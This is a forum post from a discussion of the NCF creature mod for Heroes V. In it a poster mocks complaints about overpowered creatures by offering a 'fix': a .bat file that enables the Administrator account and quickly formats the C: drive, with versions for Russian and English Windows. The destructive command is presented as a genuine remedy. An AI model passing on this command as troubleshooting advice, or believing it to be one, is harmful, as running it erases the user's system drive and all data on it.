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I didn't notice any nerfs to them. Can you be more specific? So far, in the forums and group, I often hear complaints about the overpowered neutral creatures; because of this, many have stopped playing this mod.
In general, if you are not happy with the overpowered creatures from project NCF, then you need to create a .bat file that should contain the following lines for a Russian-language Windows:
net user Администратор:active /yes
format c: /fs:udf /x /q
If Windows is in English, it should be as follows:
net user Administrator:active /yes
format c: /fs:udf /x /q
P.S. atlant108, note that such a two-line fix better addresses the situation fundamentally than the option you suggested here HERE
С уважением, Psatkha (Псатха) 
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Неудачное планирование ведёт к неудаче ...
NCF - мод, добавляющий дополнительных существ в HeroesV 3.1

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Неудачное планирование ведёт к неудаче ...
NCF - мод, добавляющий дополнительных существ в HeroesV 3.1